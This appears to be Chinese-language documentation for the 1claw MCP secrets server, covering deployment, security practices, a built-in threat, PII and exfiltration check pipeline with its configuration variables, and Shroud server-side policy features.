当推送到 main 时,MCP 服务会自动部署到 Cloud Run(当 packages/mcp/** 发生变更时)。请参阅 .github/workflows/deploy-mcp.yml。

基础设施通过 infra/ 中的 Terraform 管理。在 terraform.tfvars 中设置 mcp_domain = "mcp.1claw.co",以配置自定义域名。

开发

# Interactive testing via CLI
pnpm dev

# MCP Inspector (browser UI)
pnpm inspect

安全

  • 绝不记录值。 get_secret 只记录 "secret accessed: <path>"。
  • 按需获取密钥。 密钥只在单次工具调用期间存在于 Agent 的上下文中。
  • 托管模式下按会话认证。 每个 HTTP 流式连接都会通过标头独立认证。会话之间不共享状态。
  • 令牌范围限制。 使用 1claw 控制面板创建权限最小化的 Agent 令牌。可按 Vault、路径前缀或操作进行限制。
  • 不硬编码凭据。 所有认证均通过环境变量(stdio)或标头(httpStream)进行。
  • 处理 410/404。 密钥过期或不存在时会显示清晰的错误消息,而非原始 HTTP 状态码。
安全检查流水线

所有工具调用都会在执行前和返回结果后经过检查流水线。该流水线默认运行,可通过环境变量配置。

输入检查(工具执行前):

  1. Unicode 规范化 — 移除零宽字符,并替换西里尔字母/希腊字母同形字符。
  2. 威胁检测 — 检测命令注入、编码混淆、社会工程和网络威胁。
  3. PII 检测 — 检测电子邮件地址、SSN、信用卡号、电话号码、AWS 密钥和私钥标头。
  4. 数据泄露防护 — 当先前获取的密钥值出现在非密钥工具的输入中时(例如,Agent 试图将密钥发送到外部 URL),阻止或发出警告。

输出检查(工具执行后):

  1. 威胁检测 — 检测与输入相同的模式。
  2. PII 检测 — 检测与输入相同的模式。
  3. 密钥脱敏 — 跟踪通过 get_secret 或 get_env_bundle 获取的每个密钥值。如果已知密钥出现在非密钥工具的输出中(例如 list_vaults、grant_access),在内容进入大模型上下文窗口前,会将该值替换为不透明令牌,例如 [REDACTED:#a1b2c3d4](SHA-256 前缀,不透露路径)。
安全环境变量
变量默认值描述
ONECLAW_MCP_SECURITY_ENABLEDtrue总开关。设置为 false 可禁用所有检查。
ONECLAW_MCP_SANITIZATION_MODEblockblock 会拒绝严重/高危威胁;surgical 会规范化 Unicode,但允许通过;log_only 仅记录日志。
ONECLAW_MCP_REDACT_SECRETStrue从非密钥工具的输出中脱敏已知密钥值。需要启用安全检查。
ONECLAW_MCP_PII_DETECTIONtrue在输入和输出中检测 PII 模式(电子邮件地址、SSN、信用卡等)。
ONECLAW_MCP_EXFIL_PROTECTIONblockblock 会拒绝包含已知密钥的工具输入;warn 会记录日志但允许通过;off 会禁用此功能。
Shroud 高级安全

当某个 Agent 的 shroud_enabled: true 时,其 JWT 会携带 shroud_config 负载,用于配置 Shroud 的服务端 PolicyEngine。以下功能在 TEE 内部运行,处理经 shroud.1claw.co 路由的 LLM 流量,并独立于上述 MCP 检查管线:

  • 工具调用检查 — 根据允许/拒绝模式验证 LLM 发出的工具调用。
  • 输出策略 — 强制执行响应级规则(例如,屏蔽特定内容类别、限制长度)。
  • 秘密注入检测 — 检测 LLM 是否尝试在响应中注入或泄露秘密值。
  • 语义策略 — 根据完整对话评估具备上下文感知能力的策略规则(超越正则表达式模式)。
  • 高级脱敏 — 服务端秘密脱敏,支持配置范围和粒度。

可通过控制面板中的 Agent shroud_config JSON、SDK(CreateAgentRequest.shroud_config)或 CLI(agent update)进行配置。完整的 shroud_config 架构请参阅 Shroud 文档。

MCP Registry

此软件包以 io.github.1clawAI/1claw-mcp 的名称注册在 MCP Registry 中。发布使用 1clawAI/1claw-mcp 上的“Publish to MCP Registry”工作流(GitHub OIDC)。

npm:@1claw/mcp v0.64.1;MCP Registry:io.github.1clawAI/1claw-mcp @ 0.64.1

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。